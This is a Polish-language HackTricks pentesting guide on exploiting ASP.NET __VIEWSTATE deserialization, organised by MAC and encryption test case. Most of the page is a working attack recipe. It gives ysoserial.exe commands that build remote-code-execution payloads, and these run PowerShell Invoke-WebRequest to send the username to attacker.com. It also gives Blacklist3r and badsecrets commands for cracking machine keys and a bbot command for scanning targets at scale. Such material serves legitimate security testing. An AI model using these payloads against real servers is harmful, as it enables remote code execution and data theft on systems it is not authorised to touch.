Exploiting __VIEWSTATE without knowing the secrets

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wskazówka dotycząca nagrody za błąd: Zarejestruj się na platformie Intigriti, premium platformie nagród za błędy stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!

Co to jest ViewState

ViewState służy jako domyślny mechanizm w ASP.NET do przechowywania danych strony i kontrolki między stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony i wartości do zachowania podczas powrotu są serializowane do ciągów zakodowanych w formacie base64. Następnie te ciągi są umieszczane w ukrytych polach ViewState.

Informacje ViewState można scharakteryzować za pomocą następujących właściwości lub ich kombinacji:

  • Base64:

  • Ten format jest wykorzystywany, gdy atrybuty EnableViewStateMac i ViewStateEncryptionMode są ustawione na false.

  • Base64 + MAC (Message Authentication Code) włączony:

  • Włączenie MAC jest osiągane poprzez ustawienie atrybutu EnableViewStateMac na true. Zapewnia to weryfikację integralności danych ViewState.

  • Base64 + Zaszyfrowany:

  • Szyfrowanie jest stosowane, gdy atrybut ViewStateEncryptionMode jest ustawiony na true, zapewniając poufność danych ViewState.

Przypadki testowe

Obraz przedstawia tabelę szczegółującą różne konfiguracje ViewState w ASP.NET na podstawie wersji frameworka .NET. Oto streszczenie treści:

  1. Dla dowolnej wersji .NET, gdy zarówno MAC, jak i Szyfrowanie są wyłączone, nie jest wymagany MachineKey, a zatem nie ma odpowiedniej metody jego identyfikacji.

  2. Dla wersji poniżej 4.5, jeśli MAC jest włączony, ale Szyfrowanie nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey jest określana jako "Blacklist3r."

  3. Dla wersji poniżej 4.5, niezależnie od tego, czy MAC jest włączony czy wyłączony, jeśli Szyfrowanie jest włączone, potrzebny jest MachineKey. Identyfikacja MachineKey jest zadaniem dla "Blacklist3r - Future Development."

  4. Dla wersji 4.5 i nowszych, wszystkie kombinacje MAC i Szyfrowania (czy oba są prawdziwe, czy jedno jest prawdziwe, a drugie fałszywe) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r."

Przypadek testowy: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false

Możliwe jest również całkowite wyłączenie ViewStateMAC, ustawiając klucz rejestru AspNetEnforceViewStateMac na zero w:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identyfikacja atrybutów ViewState

Możesz spróbować zidentyfikować, czy ViewState jest chronione przez MAC, przechwytując żądanie zawierające ten parametr za pomocą BurpSuite. Jeśli MAC nie jest używany do ochrony parametru, możesz go wykorzystać za pomocą YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Przypadek testowy 1.5 – Podobny do przypadku testowego 1, ale ciasteczko ViewState nie jest wysyłane przez serwer

Deweloperzy mogą usunąć ViewState z części żądania HTTP (użytkownik nie otrzyma tego ciasteczka). Można założyć, że jeśli ViewState nie jest obecny, to ich implementacja jest bezpieczna przed potencjalnymi podatnościami wynikającymi z deserializacji ViewState. Jednakże tak nie jest. Jeśli dodamy parametr ViewState do ciała żądania i wyślemy nasz zserializowany ładunek utworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć wykonanie kodu, jak pokazano w Przypadku 1.

Przypadek testowy: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false

Aby włączyć MAC ViewState dla konkretnej strony, musimy dokonać następujących zmian w określonym pliku aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Możemy to również zrobić dla całkowitej aplikacji, ustawiając to w pliku web.config jak pokazano poniżej:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Aby pomyślnie przeprowadzić atak, najpierw potrzebujemy klucza używanego do zabezpieczenia MAC dla parametru.

Możesz spróbować użyć Blacklist3r(AspDotNetWrapper.exe), aby znaleźć używany klucz.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets to kolejne narzędzie, które może zidentyfikować znane klucze maszynowe. Jest napisane w Pythonie, więc w przeciwieństwie do Blacklist3r nie ma zależności od systemu Windows. Dla stanów widoku .NET istnieje narzędzie "python blacklist3r", które jest najszybszym sposobem na jego użycie.

Może być dostarczone bezpośrednio z widokiem i generatorem:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Alternatywnie może połączyć się bezpośrednio z docelowym adresem URL i spróbować wydobyć parametr viewstate z kodu HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Aby wyszukać podatne widoki stanu na skalę, w połączeniu z wyliczaniem subdomen, można użyć modułu badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Jeśli masz szczęście i klucz zostanie znaleziony, możesz kontynuować atak, korzystając z YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

W przypadkach, gdy parametr _VIEWSTATEGENERATOR nie jest wysyłany przez serwer, nie musisz podawać parametru --generator, ale te:

--apppath="/" --path="/hello.aspx"

Przypadek testowy: 3 – .Net < 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true

W tym przypadku nie jest znane, czy parametr jest chroniony za pomocą MAC. W takim przypadku wartość jest prawdopodobnie zaszyfrowana i będziesz potrzebować klucza maszynowego do zaszyfrowania swojego ładunku, aby wykorzystać lukę w zabezpieczeniach.

W tym przypadku moduł Blacklist3r jest w trakcie rozwoju...

Przed wersją .NET 4.5, ASP.NET może przyjąć niezaszyfrowany parametr __VIEWSTATE od użytkowników, nawet jeśli ViewStateEncryptionMode został ustawiony na Always. ASP.NET sprawdza jedynie obecność parametru __VIEWSTATEENCRYPTED w żądaniu. Jeśli usunie się ten parametr i wyśle niezaszyfrowany ładunek, nadal zostanie on przetworzony.

Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszynowego poprzez inną lukę, taką jak przeglądanie plików, polecenie YSoSerial.Net użyte w Przypadku 2, może być wykorzystane do wykonania RCE za pomocą podatności deserializacji ViewState.

  • Usuń parametr __VIEWSTATEENCRYPTED z żądania, aby wykorzystać podatność deserializacji ViewState, w przeciwnym razie zostanie zwrócony błąd weryfikacji MAC ViewState, a wykorzystanie luki się nie powiedzie.

Przypadek testowy: 4 – .Net >= 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true/false, z wyjątkiem obu atrybutów ustawionych na false

Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w pliku web.config, jak pokazano poniżej.

<httpRuntime targetFramework="4.5" />

Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru machineKey pliku web.config.

compatibilityMode="Framework45"

Jak poprzednio, wartość jest zaszyfrowana. Aby wysłać poprawny ładunek, atakujący potrzebuje klucza.

Możesz spróbować użyć Blacklist3r(AspDotNetWrapper.exe), aby znaleźć używany klucz:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Dla bardziej szczegółowego opisu IISDirPath i TargetPagePath odwołaj się tutaj

Lub, z Badsecrets (z wartością generatora):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Gdy zidentyfikowany zostanie prawidłowy klucz maszyny, następnym krokiem jest wygenerowanie spersonalizowanego ładunku za pomocą YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Jeśli masz wartość __VIEWSTATEGENERATOR, możesz spróbować użyć parametru --generator z tą wartością i pominąć parametry --path i --apppath.

Pomyślne wykorzystanie podatności deserializacji ViewState spowoduje żądanie out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Ten rodzaj ataku jest pokazany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać więcej informacji na temat działania procesu eksploatacji i jak korzystać z narzędzi takich jak Blacklist3r do identyfikacji MachineKey, można przejrzeć udostępniony PoC of Successful Exploitation.

Przypadek testowy 6 – ViewStateUserKeys jest używany

Właściwość ViewStateUserKey może być użyta do obrony przed atakiem CSRF. Jeśli taki klucz został zdefiniowany w aplikacji i spróbujemy wygenerować ładunek ViewState za pomocą omówionych dotychczas metod, ładunek nie zostanie przetworzony przez aplikację. Aby poprawnie utworzyć ładunek, musisz użyć jeszcze jednego parametru:

--viewstateuserkey="randomstringdefinedintheserver"

Wynik udanego wykorzystania

Dla wszystkich przypadków testowych, jeśli ładunek ViewState YSoSerial.Net działa poprawnie, serwer odpowiada " 500 Internal server error" z treścią odpowiedzi " The state information is invalid for this page and might be corrupted" i otrzymujemy żądanie OOB.

Sprawdź dalsze informacje tutaj

Referencje

Wskazówka dotycząca bug bounty: Zarejestruj się na platformie bug bounty Intigriti, stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody aż do $100,000!

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated